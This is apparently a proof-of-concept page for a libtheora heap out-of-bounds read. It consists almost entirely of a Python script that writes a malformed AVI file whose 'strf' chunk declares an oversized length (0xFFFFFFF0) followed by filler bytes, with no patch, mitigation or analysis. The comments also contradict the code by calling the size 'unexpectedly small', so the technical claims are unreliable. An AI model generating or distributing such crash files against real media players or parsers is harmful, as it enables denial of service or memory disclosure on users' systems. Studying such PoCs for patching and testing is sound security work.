CVE-2026-5673 libtheora堆越界读取漏洞

import struct # PoC for CVE-2026-5673 # Description: Generates a malformed AVI file with a truncated header sub-chunk # to trigger the heap-based out-of-bounds read in libtheora. def generate_malformed_avi(filename): with open(filename, 'wb') as f: # RIFF header f.write(b'RIFF') f.write(struct.pack('<I', 0)) # File size (placeholder) f.write(b'AVI ') # LIST header for hdrl f.write(b'LIST') f.write(struct.pack('<I', 0)) # List size f.write(b'hdrl') # avih header (Main AVI Header) f.write(b'avih') f.write(struct.pack('<I', 56)) # Header size # Standard dummy data for avih (56 bytes) f.write(b'\x00' * 56) # LIST header for strl (Stream list) f.write(b'LIST') f.write(struct.pack('<I', 0)) # List size f.write(b'strl') # strh header (Stream header) f.write(b'strh') f.write(struct.pack('<I', 56)) # Header size # Standard dummy data for strh (56 bytes) f.write(b'\x00' * 56) # Trigger: A malformed strf (Stream format) chunk with truncated size # The vulnerability is triggered by a truncated header sub-chunk. # We set a chunk ID 'strf' but an unexpectedly small or invalid size. f.write(b'strf') # Writing a large size value to simulate truncation/bad calculation f.write(struct.pack('<I', 0xFFFFFFF0)) # Fill with dummy data to ensure the file is parsed but triggers the read f.write(b'A' * 100) if __name__ == "__main__": generate_malformed_avi('cve_2026_5673_poc.avi') print("PoC file generated: cve_2026_5673_poc.avi")